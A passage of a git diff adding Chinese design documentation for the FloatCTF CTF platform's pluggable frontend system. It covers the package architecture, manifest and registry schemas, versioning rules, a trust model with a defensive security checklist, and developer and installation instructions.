light/dark)。平台层不存在"主题"这个契约。 | + +因此不同前端**不要求**有相同的页面、布局、路由路径或交互流程。 +例如官方前端用 `/service/events/awd//scoreboard`,另一个前端完全可以用 +`/workspace/` —— 后端不关心浏览器路由,`frontend-runtime` 也不关心。 + +## 2. 依赖方向(唯一允许的方向) + +``` + FloatCTF Backend (apps/api) + │ REST / SSE / Bearer + ▼ + @floatctf/sdk packages/sdk + 框架无关:传输 / 错误模型 / 领域客户端 / DTO / SSE + │ + ┌──────────────┴───────────────┐ + ▼ ▼ +@floatctf/react (非 React 前端直接使用 sdk) +packages/react Vue / Svelte / Solid / 原生 TS … +可选 headless 绑定 + │ + ▼ +Frontend implementation + ├── frontends/default 官方前端(当前完整 UI,随平台发布) + └── 外部仓库 第三方前端(完全独立,可换成任意框架) + + @floatctf/frontend-runtime packages/frontend-runtime + 制品 / 运行时契约(框架无关,不依赖上面任何 UI 包) + ▲ + │ 被 apps/web bootstrap 与所有前端共同使用 + apps/web(bootstrap 引导页,无框架) +``` + +硬性规则(由 `scripts/check-architecture.sh` 在 CI 中**失败即红**地强制): + +1. `@floatctf/sdk` **不得**依赖 React / 路由 / 状态库 / Primer / Tailwind / 任何应用页面。 +2. `@floatctf/react` **不得**包含任何 UI(组件、Primer、Tailwind、CSS、路由、页面、JSX)。 +3. `@floatctf/frontend-runtime` **不得**依赖任何 UI 框架或 SDK。 +4. `frontends/default` **不得** import `apps/web` 或逃出自身包的仓库路径。 +5. `apps/web`(bootstrap)**不得** import 默认前端或 React(生产产物同样会被断言)。 +6. `packages/*` **不得**反向 import `apps/*` 或 `frontends/*`。 +7. 后端 `API_CONTRACT_VERSION` 必须与前端运行时声明一致(防止版本漂移)。 + +> 历史教训:迁移前 `apps/web/src/api/*` 反向 import 路由页面里的 DTO 类型 +> (`api → routes` 的倒挂)。这些类型现在住在 `@floatctf/sdk` 的 `types/`, +> 页面改为从 SDK 引入,方向被掰正。 + +## 3. 代码位置 + +| 路径 | 角色 | +|------|------| +| `apps/web` | **bootstrap 引导页**:解析已安装前端 → 动态加载 → 回退 → 兜底页。无 React、无 Primer、无路由(产物约 14 KB / gzip 5 KB)。 | +| `frontends/default` | **官方前端**:迁移前后的当前完整 UI(React + TanStack Router + Primer + Tailwind)。它是**普通前端**,走与第三方完全相同的制品/运行时契约。 | +| `packages/sdk` | `@floatctf/sdk`:传输(axios + Bearer 注入 + 错误归一化 + 401 回调)、领域 API 客户端、DTO、fetch-based SSE、生成实体(`/entity` 子路径)。**客户端按实例隔离**:没有模块级"当前 transport",`createFloatCTFClient()` 返回的每个实例各自拥有 base URL / token 来源 / 领域门面。 | +| `packages/react` | `@floatctf/react`:**可选** headless React 绑定(query 工厂、SSE hook、失效工具)。 | +| `packages/frontend-runtime` | `@floatctf/frontend-runtime`:manifest 校验、注册表校验与解析、`mount(context)` 契约、bootstrap 加载器与兜底 UI。 | +| `scripts/frontend.sh` | 前端管理器(安装 / 列举 / 检查 / 移除 / 切换当前版本)。生产安装到 `$FLOATCTF_HOME/frontend.sh`。 | +| `scripts/package-web-dist.sh` / `scripts/verify-release-frontend.sh` | 发布产物组装与验证。 | +| `scripts/check-architecture.sh` | 架构边界与契约版本门禁。 | + +## 4. 运行时契约 + +### 4.1 制品 manifest(`frontend.json`) + +见 [ARTIFACT.md](./ARTIFACT.md)。要点:**字段很少**,只声明"是什么、吃什么版本、从哪加载"。 +**不声明**路由、页面、框架、布局或登录页。 + +### 4.2 挂载契约(`mount(context)`) + +```ts +import type { FloatCTFFrontendModule } from "@floatctf/frontend-runtime"; + +export function mount(context: FloatCTFMountContext): void | (() => void) { + // 建自己的框架/路由/状态/样式,渲染进 context.root +} +``` + +`FloatCTFMountContext` 刻意很小,且**只有平台能力**: + +| 字段 | 含义 | +|------|------| +| `root` | 渲染宿主(bootstrap 保证已清空) | +| `apiBaseUrl` | API 基址(同源,例如 `/api`) | +| `assetBaseUrl` | 本前端制品根目录的同源路径(加载自己的图片/字体用) | +| `frontendId` / `frontendVersion` | 当前前端标识与版本(诊断) | +| `platformVersion` | 平台版本(诊断) | +| `apiContractVersion` / `frontendRuntimeVersion` | 两个契约 major | +| `capabilities` | 平台真实且稳定的能力标记(白名单在后端 `core/contract.rs`) | + +**不得**出现在 context 里:Router、React Query、Primer、当前页面/路由概念、任何状态库。 +前端要读 URL 就自己读 `window.location`(路由是它自己的事)。 + +### 4.3 实时(SSE)与 base URL + +`@floatctf/react` 的四个实时 hook **不接受** URL 参数,而是从传入的 `client` 派生: + +| hook | 传输 | 最终 URL | +|------|------|----------| +| `useAwdEventStream` | `client.sse.connect` | `${client.baseUrl}/events//awd/stream` | +| `useAdminAwdEventStream` | `client.sse.connectAdmin` | `${client.adminBaseUrl}/events//awd/stream` | +| `useAwdpEventStream` | `client.sse.connect` | `${client.baseUrl}/events//awdp/stream` | +| `useAwdpRunStream` | `client.sse.connect` | `${client.baseUrl}/service/awdp/runs//stream` | + +因此 REST 与 SSE 永远走**同一个**已配置地址(跨源/自建 base URL 的外部前端不会出现 +"REST 正确、实时通道打错源")。Bearer 仍走 `Authorization` 头,管理端用 admin token。 + +### 4.4 加载流程 + +``` +Browser + │ + ▼ +apps/web bootstrap(index.html + 一个入口 chunk) + │ 1. GET /api/frontend → active_frontend / 版本 / capabilities + │ 2. GET /__floatctf/frontends/registry.json → 本地已安装前端(no-store) + │ 3. ?frontend= 只接受注册表里**已安装**的安全 ID(破窗) + │ 4. 客户端再次校验兼容性(runtime / API 契约 major) + │ 5. 注入该前端的样式(,失败即移除) + │ 6. 动态 import 同源 ESM(/__floatctf/frontends///...) + │ 7. frontend.mount(context) + │ 8. 任一步失败 → 回退 default → 再失败 → 内置兜底页(纯 DOM + 真实诊断) + ▼ +Frontend(default 或第三方,任意框架) +``` + +安全不变量:**永不**动态 import 任意远端 URL;只 import 由"已校验相对路径 + 同源前缀" +拼出的地址。破窗参数只做白名单解析,绝不直接拼进路径。 + +## 5. 注册表与版本解析 + +- 注册表文件:`$FLOATCTF_HOME/frontends/registry.json`,由 `scripts/frontend.sh` + **原子**写入(tmp + fsync + rename,`flock` 串行化)。 +- 每个前端 ID 一份 `versions` 映射 + 一个**显式** `currentVersion` 指针。 +- 解析规则: + - 用 `currentVersion`,**绝不**按文件名/版本号排序挑"最高版本" + (`9.0.0` 与 `10.0.0` 的字典序会随机换前端)。 + - `currentVersion` 始终指向一个已安装版本(删除时显式回退并打印)。 + - 兼容性按 **major** 判定(v1 的契约只支持整数 major,语义确定、可测)。 +- 语义: + - **安装新版本** = 新目录 `//` + 注册表新增条目(不动指针,除非显式要求)。 + - **升级** = 安装新版本 + 移动指针。 + - **回滚** = 指针移回旧版本(旧版本目录仍在)。 + - **资产不可变**:同 ID 同版本已存在且内容不同 → 拒绝覆盖;`default` 由平台发布, + 重部署也只能安装**新的前端版本**(`--platform` 允许操作 `default`,但不允许改写 + 已存在的版本目录)。 +- `FRONTEND_ACTIVE`(数据库动态设置)只存**前端 ID**;"用哪个版本"由注册表指针决定。 + 两层职责不重叠。 + +## 6. 版本策略(三个独立概念,禁止合并) + +| 版本 | 常量 | 何时 +1 | +|------|------|---------| +| HTTP API 契约 | `API_CONTRACT_VERSION`(`apps/api/src/core/contract.rs` + `packages/frontend-runtime/src/version.ts`,由门禁断言一致) | 前端可见的**破坏性** API 变更 | +| 前端运行时契约 | `FRONTEND_RUNTIME_CONTRACT_VERSION` / `FRONTEND_RUNTIME_VERSION` | 破坏 `frontend.json` 或 `mount(context)` | +| 注册表 schema | `FRONTEND_REGISTRY_SCHEMA_VERSION` | 注册表结构不兼容变更 | +| 平台自身版本 | `Cargo.toml` / `package.json` | 按仓库既有发版策略(**与上面三者无关**) | + +**加法式变更不升 major**:新增可选字段、新增端点、新增响应字段都留在当前 major。 +只有"旧前端会因此坏掉"的变更才升 major,并同步两边声明(门禁会红)。 + +## 7. 信任模型(必读) + +> **第三方 FloatCTF 前端是可信应用代码(trusted application code)。** + +它运行在用户的浏览器里、位于 **FloatCTF 源**下,会通过正常 API 调用接触到用户/管理员的 +凭据与令牌。因此: + +- 安装一个第三方前端 **等同于安装可信应用代码**; +- 构建隔离(容器)降低的是**宿主**风险,**不会**让产物变得可信; +- 平台**不**把"任意前端安装"宣传成沙箱; +- **不**在运行时直接加载任意远端 JavaScript URL; +- 生产前端必须**先安装到本地**,再由 FloatCTF 源提供(同源)。 + +(本任务范围内**不**实现前端市场,也**不**实现浏览器端安装。) + +## 8. 安全审查清单(本实现逐项对照) + +| 风险 | 处理 | +|------|------| +| 制品解包路径穿越 / 绝对路径 | 解包**前**逐条校验 tar 成员,拒绝 `..`、`/` 开头、反斜杠与特殊文件类型 | +| 目录形态制品夹带符号链接/特殊文件 | **任何来源**(归档 / 源码构建 / 预构建目录 / 安装暂存树)在安装前都跑 `validate_artifact_tree`(`lstat` 语义):拒绝符号链接、硬链接、FIFO、socket、设备文件;`frontend.json` / `entry` / `styles` 必须是普通文件 | +| 公开注册表泄露运维元数据 | 注册表是**公开静态树**的一部分:`registry.json` 只允许白名单字段(无 `source`/路径/Git URL/凭据),CLI 每次写盘都 sanitize 并自检(`check-public`),运行时解析器对未知字段 fail-closed | +| 源码构建以 root 运行 | 构建容器**绝不**使用 UID 0:sudo 场景用 `SUDO_UID/SUDO_GID`,普通用户用其自身,root 直调时用专用非特权身份(默认 `65534:65534`);`docker run` 前断言 `uid != 0` | +| tar 符号链接逃逸 | 拒绝符号链接与硬链接成员 | +| 恶意前端 ID | ID 必须匹配 `[a-z0-9][a-z0-9._-]*`(≤64),后端与 CLI 都校验 | +| 覆盖 default 前端 | `default` 受保护:常规 `remove`/`install` 拒绝;仅 install.sh 的 `--platform` 可动 | +| 注册表非原子 / 并发写 | `flock` + tmp/fsync/rename | +| 构建容器宿主挂载 | 只读源码 + 临时产物目录;`cap-drop ALL`;`no-new-privileges`;不加额外 capabilities | +| Docker socket 暴露 | 构建容器**不**挂载任何 socket | +| 宿主 root 命令执行 | 只执行**约定的** ` run build`;不从 JSON 里取任意命令 | +| 远端 JS 运行时 import | 只 import 注册表推导出的同源路径;破窗值走白名单 | +| Caddy 资产穿越 | `handle_path` + 根目录限定;`..` 被规范化后落入 SPA 回退(返回引导页而非文件) | +| 内部文件外泄 | `file_server hide` 隐藏 `.registry.lock` / `.staging-*` | +| 设置更新鉴权 | `FRONTEND_ACTIVE` 走既有 `PATCH /api/admin/settings/{id}`(SuperAdmin) | +| 公开 bootstrap 泄露 | `/api/frontend` 只回 5 个公开字段;非法设置值回落 `default`,不回显 | +| 第三方前端信任说明 | 见 §7 与 [DEVELOPING.md](./DEVELOPING.md) | + +其它已落实的细节: + +- 前端资产安装后设为**全局只读**(`chmod -R a-w`),运行期不可写; +- 管理端选择器**只**列出本地注册表里已安装、且契约兼容的前端; +- 契约不兼容的候选在下拉里禁用并说明原因(而不是让管理员选出一个必然回退的前端)。 + +## 9. 生命周期 + +### 5.1 `$FLOATCTF_HOME/frontends` 是**公开**静态树 + +Caddy 以只读方式把它挂在 `/srv/frontends` 下并**无鉴权**提供 +(`/__floatctf/frontends/...`)。因此: + +- **任何私密信息都不得写入该目录**(安装来源、本地路径、Git URL、凭据、运维用户名、 + 构建工作目录、临时路径、内部部署元数据……); +- 需要溯源信息时,把它放在**这个树之外**(例如数据库 / 运维记录),不要放在这里; +- 注册表的字段白名单是**公开契约**的一部分,见 [ARTIFACT.md](./ARTIFACT.md)。 + +### 5.2 版本不可变 + +前端资产 URL 带 `Cache-Control: immutable` 长缓存,因此 **前端 ID + 版本 = 一组不可变字节**: + +- 同 ID + 同版本 + 同内容 → 幂等成功; +- 同 ID + 同版本 + **不同内容 → 硬失败**(包括 `default` 与平台重部署路径); +- Default UI 变了就必须**升它的前端版本号**(平台版本与前端版本独立演进)。 + +### 5.3 生命周期 + +| 动作 | 谁来执行 | 说明 | +|------|----------|------| +| 安装 / 升级 / 回滚版本 | 运维 CLI:`sudo $FLOATCTF_HOME/frontend.sh install …` | 可在无源码签出的机器上运行 | +| 选择生效前端 | 管理端 → 设置 → 前端(写 `FRONTEND_ACTIVE`) | 只从"已安装"里选;不安装、不构建 | +| 破窗恢复 | 任意用户在 URL 加 `?frontend=default` | 只影响当前这次加载,不改设置,不需登录 | +| 升级平台 | `scripts/install.sh`(重新部署) | 更新 bootstrap 与 release 内前端;**保留**第三方前端、其版本与其指针;不动 `FRONTEND_ACTIVE` | +| 安全卸载 | `sudo $FCTF_ROOT/uninstall.sh` | 移除可运行应用,但**保留** `frontends/`(含注册表)与 `frontend.sh` | +| 彻底删除 | `sudo $FCTF_ROOT/uninstall.sh --purge` | 连已安装前端与注册表一并删除 | + +## 10. 非目标(明确不做) + +- 前端市场 / 浏览器内安装 / Git URL 安装入口; +- 运行时加载远端任意 JS; +- 把前端安装包装成沙箱; +- 共享 React 单例 / 模块联邦(v1 每个前端自带依赖,换独立性与简单); +- 用环境变量做前端配置(平台配置仍只从 TOML / settings 表读取)。 diff --git a/docs/frontend/ARTIFACT.md b/docs/frontend/ARTIFACT.md new file mode 100644 index 00000000..841bbc10 --- /dev/null +++ b/docs/frontend/ARTIFACT.md @@ -0,0 +1,202 @@ +# 前端制品 / manifest / 注册表(ARTIFACT.md) + +> 契约的**权威校验实现**在 `@floatctf/frontend-runtime` +> (`src/manifest.ts` / `src/registry.ts` / `src/paths.ts`,测试见同目录 `__tests__/`)。 +> 本文说明字段、规则与版本策略;实现与文档冲突时以**代码 + 测试**为准,并请修文档。 +> +> 架构背景见 [ARCHITECTURE.md](./ARCHITECTURE.md),开发流程见 [DEVELOPING.md](./DEVELOPING.md)。 + +## 1. 两个 manifest 不要混淆 + +| 文件 | 用途 | 谁读它 | +|------|------|--------| +| `floatctf.frontend.json` | **源码仓库** manifest:标识前端、声明兼容性、定义构建期望 | `scripts/frontend.sh`(构建前) | +| `frontend.json` | **构建产物** manifest:运行时契约(入口、样式、兼容性) | 注册表生成、浏览器解析、发布验证 | + +制品 manifest 里**不允许**出现源码专用的 `build` 段(严格校验会拒绝未知字段)。 +构建脚本负责把源码 manifest 转成制品 manifest(剥掉 `build`), +`scripts/frontend.sh` 也能在源码 manifest 缺失产物版时做同样的转换。 + +## 2. `frontend.json`(制品 manifest) + +```json +{ + "schemaVersion": 1, + "id": "my-frontend", + "name": "My FloatCTF Frontend", + "version": "1.2.0", + "description": "可选", + "author": "可选", + "compatibility": { "frontendRuntime": "1", "apiContract": "1", "sdk": "1.0.0" }, + "entry": "assets/frontend.js", + "styles": ["assets/frontend.css"] +} +``` + +| 字段 | 必填 | 规则 | +|------|------|------| +| `schemaVersion` | ✅ | 必须等于 `FRONTEND_MANIFEST_SCHEMA_VERSION`(当前 `1`) | +| `id` | ✅ | `[a-z0-9][a-z0-9._-]*`,≤64 字符(同时是目录名) | +| `name` | ✅ | 非空字符串,≤128 | +| `version` | ✅ | 严格 semver(含预发布,如 `1.2.0-rc.1`) | +| `description` / `author` | ❌ | 字符串(≤1024 / ≤256) | +| `compatibility.frontendRuntime` | ✅ | 整数 major 字符串,必须与平台一致 | +| `compatibility.apiContract` | ✅ | 整数 major 字符串,必须与平台一致 | +| `compatibility.sdk` | ❌ | 字符串,**信息性**(前端自带依赖,运行时不强制) | +| `entry` | ✅ | 相对路径,`server` 会动态 import 它;必须导出 `mount` | +| `styles` | ❌ | 相对路径数组(≤16),由 bootstrap 注入 `` | + +**严格性**:未知顶层字段直接**拒绝**(fail-closed)。静默忽略未知字段会产生 +"看起来装了但实际少了一件事"的故障,极难排查。 + +**`compatibility` 只支持整数 major**(如 `"1"`,不支持 `>=1 <2` 这类 range): +v1 刻意选择语义确定、可测、不会因 range 解析器差异产生分歧的约束形式。 +未来的兼容范围需求再单独设计并升 `frontendRuntime` major。 + +### 路径安全规则(`entry` 与 `styles` 共用) + +必须**相对**,且拒绝: + +- 绝对路径(`/x`、`C:\x`) +- URL scheme(`https:`、`data:`、`file:`、`javascript:`) +- `..` 穿越与 `.` 段 +- 反斜杠、空段(`a//b`)、前后空白、控制字符 +- 非 `[A-Za-z0-9._@+-]` 的单段字符 + +## 3. `registry.json`(本地已安装注册表) + +位置:`$FLOATCTF_HOME/frontends/registry.json`(浏览器通过 +`/__floatctf/frontends/registry.json` 读取,`Cache-Control: no-store`)。 + +```json +{ + "schemaVersion": 1, + "updatedAt": "2026-10-07T06:44:19Z", + "frontends": { + "default": { + "id": "default", + "currentVersion": "1.0.1", + "protected": true, + "versions": { + "1.0.0": { "version": "1.0.0", "name": "…", "compatibility": { … }, + "entry": "assets/frontend.js", "styles": ["assets/frontend.css"], + "installedAt": "…" }, + "1.0.1": { … } + } + } + } +} +``` + +| 字段 | 规则 | +|------|------| +| `schemaVersion` | 必须等于 `FRONTEND_REGISTRY_SCHEMA_VERSION`(当前 `1`) | +| `frontends..id` | 若出现必须与键一致;ID 必须安全 | +| `frontends..currentVersion` | **必须**是该 ID 已安装的版本 | +| `frontends..protected` | `true` 表示常规前端管理不得移除(`default`) | +| `versions.` | 键必须是 semver;条目内 `version` 必须与键一致;`entry`/`styles` 走同一套路径规则;`installedAt` 必填 | + +**未知字段一律拒绝**(root / frontend 条目 / version 条目 / `compatibility` 逐层白名单)。 +`$FLOATCTF_HOME/frontends/` 由 Caddy 公开提供,因此注册表里**绝不允许**出现安装来源、 +本地路径、Git URL、凭据、临时目录或任何运维元数据 —— 出现即校验失败。 +`parseRegistry()` 与 `frontend.sh` 的 `check-public` 都按同一份白名单判定; +历史遗留了 `source` 的注册表会在下一次写入(install / remove / set-current)时被 +`sanitize_registry` 清除。 + +注册表整体校验失败时,bootstrap 视为"注册表不可用"并走回退链(最终兜底页), +绝不会"跳过坏条目继续加载"。 + +## 4. 文件系统布局 + +``` +$FLOATCTF_HOME/ # 默认 /var/lib/floatctf +├── frontend.sh # 前端管理器(随 release 发布,root:root 0755) +├── web/ # bootstrap 引导页(apps/web 产物) +│ ├── index.html +│ └── assets/bootstrap-.js +└── frontends/ # Caddy 以只读挂载到 /srv/frontends + ├── registry.json # 0644,原子写入,no-store + ├── .registry.lock # 写入锁(file_server 隐藏) + ├── default/ # 平台内置(受保护) + │ ├── 1.0.0/ # 全局只读;旧版本保留 → 可回滚 + │ │ ├── frontend.json + │ │ └── assets/{frontend.js,frontend.css,.js} + │ └── 1.0.1/ + └── my-frontend/ # 第三方 + ├── 0.2.0/ + └── 1.0.0/ +``` + +Caddy 映射: + +| 请求 | 行为 | +|------|------| +| `/__floatctf/frontends/registry.json` | 直接提供,`Cache-Control: no-store` | +| `/__floatctf/frontends///**` | 直接提供,`Cache-Control: public, max-age=31536000, immutable` | +| `/api/**` | 反向代理 API(先匹配,**不被**前端资产遮蔽) | +| 其它任意路径 | SPA 回退到 bootstrap `index.html`(前端自己处理路由) | + +## 5. 制品归档格式 + +推荐扩展名:`*.tar.gz`(`frontends///…` 或直接含 `frontend.json` 的目录)。 + +硬性要求: + +1. 归档**自包含**:含 `frontend.json` 与它声明的 `entry` / `styles`; + 不依赖源码、`node_modules`、pnpm 或 FloatCTF 仓库。 +2. 归档**不得**包含符号链接、硬链接、设备/管道等特殊成员(解包前校验)。 +3. 归档成员不得是绝对路径或含 `..`。 +4. 发布产物 `web-dist.tar.gz` 的布局固定为: + +``` +bootstrap/ ← 引导页 + index.html + assets/… +frontends/ + default/ + / + frontend.json + assets/… +``` + +`scripts/verify-release-frontend.sh` 会在 release 前断言:布局正确、manifest 通过 +**真实校验器**、entry/styles 真实存在、无源码/依赖残留、归档成员安全、脚本语法有效。 + +## 6. 源码构建(`frontend.sh install <源码目录|Git URL>`) + +构建期望来自源码 manifest 的 `build` 段: + +```json +"build": { "packageManager": "auto", "script": "build", "outputDir": "dist" } +``` + +| 键 | 默认 | 说明 | +|----|------|------| +| `packageManager` | `auto` | `auto` 时按 lockfile 判定:`pnpm-lock.yaml` → pnpm,`yarn.lock` → yarn,`package-lock.json` → npm,否则 npm | +| `script` | `build` | **package.json 里的脚本名**(不是 shell 命令) | +| `outputDir` | `dist`(回落 `build`) | 构建产物目录 | + +安全约束:**不**把 JSON 里的字符串当命令执行;构建在**隔离容器**内进行 +(详见 [ARCHITECTURE.md §7/§8](./ARCHITECTURE.md));Node 基线 = `node:26-bookworm` +(可用 `--node-image` 覆盖),pnpm 基线 = 仓库 `packageManager`(`11.20.0`), +源码若声明 `packageManager: pnpm@x.y.z` 则以它为准。 + +## 7. 版本与指针语义 + +- 安装某版本**不会**自动改变当前指针;需要时显式 `--make-current` 或 `frontend.sh set-current`。 +- `frontend.sh remove ` 删除的若是当前版本,会把指针**显式回退**到剩余版本 + 并打印出来(绝不留下悬空指针)。 +- 同 ID 同版本、内容相同:幂等成功(重部署安全;只补注册表条目,不重写资产)。 +- 同 ID 同版本、**内容不同:硬失败**,没有任何例外(`default` / `--platform` 也一样)。 + 制品 URL 带 `immutable` 长缓存,"同版本换内容"对浏览器不可见,因此唯一正确的做法是 + **发布新的前端版本号**(平台版本与前端版本独立演进)。 +- 删除某前端的 `currentVersion` 且还有其它版本时:**拒绝**并提示先 + `frontend.sh set-current <其它版本>`(`currentVersion` 是显式指针,绝不猜替代版本)。 +- 删除该 ID 的最后一个版本(或 `remove `)会移除整条记录;`default` 受保护,不可移除。 + +## 8. 契约版本策略 + +见 [ARCHITECTURE.md §6](./ARCHITECTURE.md)。要点:**加法式变更不升 major**; +破坏性变更才升,并且必须同步 +`packages/frontend-runtime/src/version.ts` 与 `apps/api/src/core/contract.rs` +(`scripts/check-architecture.sh` 会断言两者一致)。 diff --git a/docs/frontend/DEVELOPING.md b/docs/frontend/DEVELOPING.md new file mode 100644 index 00000000..2f4e81cd --- /dev/null +++ b/docs/frontend/DEVELOPING.md @@ -0,0 +1,263 @@ +# 前端开发指南(DEVELOPING.md) + +> 三种角色,各看各的: +> - **在 FloatCTF 仓库里改官方前端** → §1 +> - **在别的仓库里写第三方前端** → §2、§3 +> - **把前端装到服务器上** → §4 +> +> 契约细节见 [ARTIFACT.md](./ARTIFACT.md),架构见 [ARCHITECTURE.md](./ARCHITECTURE.md)。 + +## 1. 在 FloatCTF 仓库里开发 + +### 1.1 唯一开发入口 + +```bash +mise run setup # 新机器一次性:工具链 + 宿主能力 + helper +mise run dev # 唯一开发入口:infra + migrations + API watch + 前端 Vite +``` + +`mise run dev` 的前端部分做两件事(`mise.toml` 的 `dev:web`): + +1. `pnpm run build:packages` —— 构建 `packages/*` 的 `dist`(前端按 `package.json` + 的 `exports` 解析 `@floatctf/*`,所以这是**真实产物**,不是源码别名); +2. 在 `frontends/default` 启动 Vite(**:13000**,HMR)。 + +浏览器访问的是 **`http://:7780`**(开发 Caddy):`/` → Vite,`/api/*` → API, +`/__floatctf/frontends/*` → Default Frontend 的 Vite(它按**真实 schema** 提供一份 +只含 `default` 的开发注册表,因此管理端的"前端选择器"在 dev 下走的是与生产完全相同的 +代码路径)。 + +> 开发模式**只有这一个前端**(Default Frontend 的源码)。要看第三方前端,用 §2 的 +> 独立 dev server,或在 §6 的"生产形态验证"里装到本地再跑。 + +### 1.2 改动落在哪个包? + +| 你要改的东西 | 位置 | +|--------------|------| +| 页面、路由、布局、导航、Primer 样式、UX | `frontends/default/src/**` | +| 领域 API 调用、DTO 类型、传输/401 行为、SSE 传输 | `packages/sdk/src/**` | +| query 工厂、SSE→React Query 失效、headless hook | `packages/react/src/**` | +| manifest/注册表校验、bootstrap 加载与回退 | `packages/frontend-runtime/src/**` | +| 引导页本身 | `apps/web/src/main.ts` | + +改动 `packages/*` 后需要重建 dist 才会被前端看到: + +```bash +pnpm run build:packages # 一次性 +mise run dev:packages # 或:tsc --watch 持续重建 +``` + +### 1.3 常用门禁 + +```bash +mise run web:typecheck # 五个包的 tsc --noEmit +mise run web:architecture # 架构边界 + 契约版本一致性(失败即红) +mise run test # Rust + 全部前端包测试 +mise run lint # clippy + biome + 类型检查 + 架构门禁 +mise run build # API + packages + bootstrap + Default Frontend +mise run check # fmt + lint + test +``` + +### 1.4 前端开发者必须知道的两条约束 + +1. **制品运行在纯浏览器环境**:没有 `process`、没有 `require`、没有 Node 全局。 + 第三方依赖(styled-components / mermaid 等)里的 `process.env.*` 必须在 + **构建期**替换掉——官方前端的做法见 `frontends/default/vite.config.ts` 的 `define` + 与 `src/node-shim.ts`。漏掉会表现为"整页起不来",且由 bootstrap 的兜底页如实报错。 +2. **不要 import 其它包的源码路径**:只能用 `@floatctf/sdk` / `@floatctf/react` / + `@floatctf/frontend-runtime` 的公开导出。`scripts/check-architecture.sh` 会拦截 + `@floatctf/sdk/src/...`、`../apps/web`、仓库私有别名等写法。 + +## 2. 在独立仓库里开发第三方前端 + +### 2.1 前提 + +- 可以拿到平台发布的包:`@floatctf/sdk`、`@floatctf/frontend-runtime` + (可选 `@floatctf/react`,仅 React 前端需要)。 +- 本地开发时若包尚未发布到 npm,用 **packed tarball**(见 §2.4)。 +- Node 基线:与平台一致的大版本(平台开发基线 `node 26.x`;源码构建默认用 + `node:26-bookworm` 镜像)。 + +### 2.2 最小仓库骨架 + +``` +my-floatctf-frontend/ +├── package.json +├── floatctf.frontend.json # 源码 manifest(含 build 段) +├── vite.config.ts +├── index.html # 仅 dev server 用 +├── README.md +└── src/ + ├── mount.ts # 导出 mount(context);导出什么框架由你决定 + └── … +``` + +```jsonc +// package.json +{ + "name": "my-floatctf-frontend", + "private": true, + "type": "module", + "packageManager": "pnpm@11.20.0", + "scripts": { "dev": "vite --port 14000", "build": "vite build" }, + "dependencies": { + "@floatctf/sdk": "^1.0.0", + "@floatctf/frontend-runtime": "^1.0.0" + } +} +``` + +```jsonc +// floatctf.frontend.json +{ + "schemaVersion": 1, + "id": "my-frontend", + "name": "My FloatCTF Frontend", + "version": "0.1.0", + "compatibility": { "frontendRuntime": "1", "apiContract": "1" }, + "entry": "assets/app.js", + "styles": ["assets/app.css"], + "build": { "packageManager": "auto", "script": "build", "outputDir": "dist" } +} +``` + +### 2.3 入口与 API 基址 + +```ts +// src/mount.ts +import { createFloatCTFClient } from "@floatctf/sdk"; +import type { FloatCTFMountContext } from "@floatctf/frontend-runtime"; + +let token: string | null = null; // 存哪里完全由你决定 + +export function mount(context: FloatCTFMountContext) { + const client = createFloatCTFClient({ + baseUrl: context.apiBaseUrl, // 生产同源 → "/api" + getUserToken: () => token, + onUnauthorized: () => { token = null; /* 你的登录页怎么走由你决定 */ }, + }); + // 建你自己的框架/路由/样式,渲染进 context.root +} +``` + +**框架自由**:`mount(context)` 只要求"给一个宿主元素,把界面挂上去"。 +Vue / Svelte / Solid / 原生 TypeScript 都可以;`@floatctf/react` 是可选的。 +`context` 里**没有** Router、Query、Primer 或"当前页面"的概念——路由是你的。 + +### 2.4 本地开发(跨源) + +```bash +# 1) 让 API 允许你的 dev server 源(平台唯一支持的方式:TOML,不是环境变量) +# 编辑 apps/api/config/development.toml: +# [cors] +# allowed_origins = ["http://localhost:14000", "http://127.0.0.1:14000", ...] + +# 2) 用你自己的构建期变量指向 API(这是**前端自己的** Vite 变量,不是平台契约) +VITE_API_BASE_URL=http://127.0.0.1:7780/api pnpm dev +``` + +用未发布的本地包时,先打包再引用(**不要**用 `workspace:*`,那是仓库内协议): + +```bash +# 在 FloatCTF 仓库里 +pnpm --filter @floatctf/frontend-runtime --filter @floatctf/sdk pack --pack-destination /tmp/pkgs +# 在你的前端仓库里 +pnpm add file:/tmp/pkgs/floatctf-sdk-1.0.0.tgz file:/tmp/pkgs/floatctf-frontend-runtime-1.0.0.tgz +``` + +### 2.5 构建产物 + +`pnpm build` 必须在 `dist/` 里产出 **制品 manifest** `frontend.json`(字段见 +[ARTIFACT.md](./ARTIFACT.md)):它比源码 manifest 少一个 `build` 段。 +官方前端的做法是 Vite 插件在 `closeBundle` 里生成并用 `@floatctf/frontend-runtime` +的校验器自检(`frontends/default/vite.config.ts`),可以直接照抄思路。 + +构建产物必须**自包含**:可以自带框架(v1 不做共享 React 单例/模块联邦)。 + +## 3. 三方前端能用什么、不能用什么 + +| | | +|---|---| +| ✅ 用 | `@floatctf/sdk`、`@floatctf/frontend-runtime`、可选 `@floatctf/react`;任意 UI 框架;任意状态库;任意样式方案 | +| ❌ 不用 | `apps/web/*`、`frontends/default/*`、`@/routes` 这类仓库私有别名、任何 FloatCTF 仓库内的源码路径 | + +## 4. 安装、激活、回滚 + +```bash +# 安装(本地目录 / Git 仓库 / 预构建归档;在 FloatCTF 宿主上执行) +sudo /var/lib/floatctf/frontend.sh install /path/to/my-floatctf-frontend +sudo /var/lib/floatctf/frontend.sh install https://github.com/me/my-frontend --ref v0.1.0 +sudo /var/lib/floatctf/frontend.sh install ./my-frontend-0.1.0.tar.gz + +# 看装了哪些 / 详情 / 只校验归档 +sudo /var/lib/floatctf/frontend.sh list +sudo /var/lib/floatctf/frontend.sh info my-frontend +sudo /var/lib/floatctf/frontend.sh verify ./my-frontend-0.1.0.tar.gz + +# 回滚某个 ID 的当前版本(旧版本仍在) +sudo /var/lib/floatctf/frontend.sh set-current my-frontend 0.0.9 + +# 移除(default 不可移除) +sudo /var/lib/floatctf/frontend.sh remove my-frontend 0.0.9 +``` + +**激活**(把 `FRONTEND_ACTIVE` 指到它)是**应用设置**,在管理端操作: +管理端 → 设置 → 前端 → 选择 → 保存并切换 → 刷新页面。 +CLI **不会**替你改 `FRONTEND_ACTIVE`。 + +**破窗恢复**:任何页面加 `?frontend=default` 即用内置前端打开, +只影响当前这次加载、不修改设置、不需要登录。 + +源码安装会在**隔离容器**里跑依赖安装与 `build` 脚本: + +- `cap-drop ALL`、`no-new-privileges`、`--pids-limit`、只读源码挂载、无 Docker socket; +- **构建身份永不为 UID 0**:`sudo` 调用用 `SUDO_UID/SUDO_GID`;普通用户用其自身; + root 